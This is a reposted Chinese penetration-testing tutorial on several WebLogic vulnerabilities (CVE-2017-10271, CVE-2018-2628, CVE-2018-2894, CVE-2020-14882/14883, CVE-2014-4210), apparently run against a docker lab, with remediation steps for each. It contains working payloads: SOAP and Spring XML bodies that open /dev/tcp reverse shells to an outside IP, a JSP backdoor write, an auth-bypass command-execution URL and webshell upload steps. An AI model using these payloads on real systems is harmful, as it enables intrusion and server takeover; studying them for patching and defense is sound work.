0


【渗透测试】Weblogic系列漏洞

🍺CVE-2017-10271(Weblogic XMLDecoder反序列化漏洞)

🍻1、漏洞原理

CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下:http://IP:7001/wls-wsat/CoordinatorPortType post数据包,通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

注意:CVE-2017-10271是对CVE-2017-3506 的补丁绕过,将其中的object替换成了void

🍻2、影响版本

Weblogic 10.3.6 | 12.1.3.0.0 | 12.2.1.1.0

🍻3、漏洞验证

🥗(1)漏洞地址

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType1

🥗(2)Payload

🥂POC1:反弹shell

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>bash -i &gt;&amp; /dev/tcp/192.168.244.128/777 0&gt;&amp;1</string>
                        </void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

🥂POC2:写入后门

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
           <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
                <void method="println">
                    <string>
                        <![CDATA[
                            <% out.print("test"); %>
                        ]]>
                    </string>
                </void>
                <void method="close"/>
            </object></java></java>
    </work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

🍻4、修复方案

(1)根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。

(2)下载官方补丁修复。

🍺CVE-2018-2628(Weblogic T3协议反序列化漏洞)

🍻1、漏洞原理

攻击者利用其他rmi【远程方法调用】绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议 数据,就可以获取目标服务器的权限。

🍻2、影响版本

Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3

🍻3、漏洞验证

利用漏洞验证工具进行测试发现存在该漏洞

🍻4、修复方案

(1)若通过Nginx/Apache配置反向代理的方式访问Weblogic应用,就限制Weblogic T3的直接访问,此漏洞也将不能直接被利用。

(2)打官方的最新补丁。

🍺CVE-2018-2894(WebLogic 任意文件上传漏洞)

🍻1、漏洞原理

Weblogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do

🍻2、影响版本

Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3

🍻3、漏洞验证

(1)通过http://IP:7001/console访问靶场,进行登录,账号密码随机生成,查询命令:docker-compose logs | grep password

(2)点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项

(3)访问漏洞页面:http://ip:7001/ws_utc/config.do,设置当前工作目录为:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css,点击提交。

(4)上传shell(jsp马):点击左上角的“安全”,“添加”上传木马文件,并在返回包中知道到时间戳,并通过以下路径访问或连接木马文件:http://ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

🍻4、修复方案

升级到最新版。

🍺CVE-2020-14882、CVE-2020-14883(WebLogic未授权访问、命令执行漏洞)

🍻1、漏洞原理

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

🍻2、影响版本

weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.3 | 12.2.1.4 | 14.1.1.0

🍻3、漏洞验证

(1)利用权限绕过漏洞(CVE-2020-14882),直接访问,漏洞URL:http://ip:7001/console/css/%252e%252e%252fconsole.portal或者http://ip:7001/console/images/%252e%252e%252fconsole.portal,其中%252e%252e%252f为../的URL二次编码。

(2)虽然成功登录到后台页面但当前用户是低权限用户,并不能执行命令此时需要用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContex。其中第一种方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类,第二种方法是一种更为通用的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

(2.1)com.tangosol.coherence.mvel2.sh.ShellSession:执行成功好页面显示404,但是在docker容器中查看已成功创建test文件夹,查询命令:docker-compose exec weblogic ls /tmp

🥂POC:

http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22)

(2.2)com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContex:该方法需要提前将恶意代码部署在任意网站目录下,当访问该木马文件时即可触发,返回界面任是404界面,但是可以正常反弹。

触发方式:

http://192.168.244.128:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.244.1/poc.xml(木马文件路径)")

🥂POC1:反弹shell

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/IP/端口 0>&1]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

🥂POC2:创建文件夹

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

🍻4、修复方法

(1)及时下载官方补丁进行升级修复。

(2)关闭后台/console/console.portal的访问权限。

(3)修改后台默认地址

🍺CVE-2014-4210(SSRF)

🍻1、漏洞原理

利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。访问http://ip:7001/uddiexplorer/,无需登录即可查看 uddiexplorer 应用。

🍻2、影响版本

weblogic 10.0.2 | 10.3.6

🍻3、漏洞验证

访问漏洞测试点:http://IP:7001/uddiexplorer/SearchPublicRegistries.jsp,点击search,利用bp抓包,operator为可控参数,可以利用该漏洞进行内网探测。若该端口开放则返回“returned a 404 error code”,否则返回“could not connect over HTTP to server”

🍻4、修复方案

(1)删除uddiexplorer文件夹;限制uddiexplorer应用只能内网访问

(2)将SearchPublicRegistries.jsp直接删除

(3)Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三采用的是改后辍的方式,修复步骤如下:

1)将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份;

2)将weblogic安装目录下的server/lib/uddiexplorer.war下载;

3)用winrar等工具打开uddiexplorer.war;

4)将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx;

5)保存后上传回服务端替换原先的uddiexplorer.war;

6)对于多台主机组成的集群,针对每台主机都要做这样的操作;

7)由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic。

本文转载自: https://blog.csdn.net/weixin_53972936/article/details/127641450
版权归原作者 离陌lm 所有, 如有侵权,请联系我们删除。

“【渗透测试】Weblogic系列漏洞”的评论:

还没有评论